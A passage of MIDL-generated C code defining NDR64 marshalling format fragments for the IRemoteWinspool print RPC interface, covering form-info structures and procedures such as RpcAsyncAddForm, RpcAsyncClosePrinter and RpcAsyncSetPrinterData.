(NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    }\n};\n\nstatic const __midl_frag317_t __midl_frag317 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x63,    /* FC64_CONF_CHAR_STRING */\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag315_t __midl_frag315 =\n{ \n/* RPC_FORM_INFO_2 */\n    { \n    /* RPC_FORM_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_FORM_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag320,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 6 /* 0x6 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_FORM_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag314_t __midl_frag314 =\n{ \n/* *RPC_FORM_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag315\n};\n\nstatic const __midl_frag313_t __midl_frag313 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    }\n};\n\nstatic const __midl_frag311_t __midl_frag311 =\n{ \n/* FORM_INFO_1 */\n    { \n    /* FORM_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag313,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag310_t __midl_frag310 =\n{ \n/* *FORM_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag311\n};\n\nstatic const __midl_frag309_t __midl_frag309 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag308_t __midl_frag308 =\n{ \n/* __MIDL_IRemoteWinspool_0008 */\n    { \n    /* __MIDL_IRemoteWinspool_0008 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag309,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag314,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag307_t __midl_frag307 =\n{ \n/* FORM_CONTAINER */\n    { \n    /* FORM_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag308\n        },\n        { \n        /* FORM_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag304_t __midl_frag304 =\n{ \n/* RpcAsyncAddForm */\n    { \n    /* RpcAsyncAddForm */      /* procedure RpcAsyncAddForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag307,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag301_t __midl_frag301 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag300_t __midl_frag300 =\n{ \n/* RpcAsyncClosePrinter */\n    { \n    /* RpcAsyncClosePrinter */      /* procedure RpcAsyncClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinter */      /* parameter phPrinter */\n        &__midl_frag302,\n        { \n        /* phPrinter */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag296_t __midl_frag296 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag295_t __midl_frag295 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag296\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag367\n    }\n};\n\nstatic const __midl_frag294_t __midl_frag294 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag295\n};\n\nstatic const __midl_frag287_t __midl_frag287 =\n{ \n/* RpcAsyncSetPrinterDataEx */\n    { \n    /* RpcAsyncSetPrinterDataEx */      /* procedure RpcAsyncSetPrinterDataEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag362,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag362,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag380,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag295,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag389,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag283_t __midl_frag283 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag282_t __midl_frag282 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag283\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag352\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag282\n};\n\nstatic const __midl_frag277_t __midl_frag277 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag276_t __midl_frag276 =\n{ \n/* RpcAsyncSetPrinterData */\n    { \n    /* RpcAsyncSetPrinterData */      /* procedure RpcAsyncSetPrinterData */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag348,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag282,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag380,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        